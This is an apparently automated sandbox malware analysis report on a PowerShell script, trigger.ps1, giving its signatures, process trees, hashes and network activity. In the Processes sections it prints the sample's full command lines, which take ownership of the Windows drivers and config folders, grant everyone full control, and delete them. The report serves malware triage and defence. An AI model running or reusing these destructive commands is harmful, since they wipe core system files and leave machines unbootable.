Malware Analysis Report

2024-11-16 12:53

Sample ID 240813-zn1rtswalb
Target trigger.ps1
SHA256 c0979852c32530744818450613b30e9bb81ee684239d189034ed3cee80fb5ae6
Tags
discovery execution exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

c0979852c32530744818450613b30e9bb81ee684239d189034ed3cee80fb5ae6

Threat Level: Likely malicious

The file trigger.ps1 was found to be: Likely malicious.

Malicious Activity Summary

discovery execution exploit

Possible privilege escalation attempt

Modifies file permissions

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-13 20:52

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-13 20:52

Reported

2024-08-13 20:52

Platform

win7-20240708-en

Max time kernel

2s

Max time network

1s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2700 wrote to memory of 2836 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2836 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2836 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2836 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2836 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2836 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2836 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2836 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2836 wrote to memory of 2888 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2700 wrote to memory of 2044 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2044 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2700 wrote to memory of 2044 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2044 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2044 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2044 wrote to memory of 2724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2044 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2044 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2044 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant everyone:(f)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant everyone:(f)

Network

N/A

Files

memory/2700-4-0x000007FEF66DE000-0x000007FEF66DF000-memory.dmp

memory/2700-5-0x000000001B550000-0x000000001B832000-memory.dmp

memory/2700-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

memory/2700-7-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

memory/2700-8-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

memory/2700-9-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

memory/2700-10-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

memory/2700-11-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

memory/2700-12-0x000007FEF6420000-0x000007FEF6DBD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-13 20:52

Reported

2024-08-13 20:55

Platform

win10v2004-20240802-en

Max time kernel

141s

Max time network

147s

Command Line

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant everyone:(f)

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant everyone:(f)

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp

Files

memory/2240-0-0x00007FFB05A93000-0x00007FFB05A95000-memory.dmp

memory/2240-6-0x000001CAB6AC0000-0x000001CAB6AE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yy2y3okn.vck.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2240-11-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

memory/2240-12-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

memory/2240-15-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp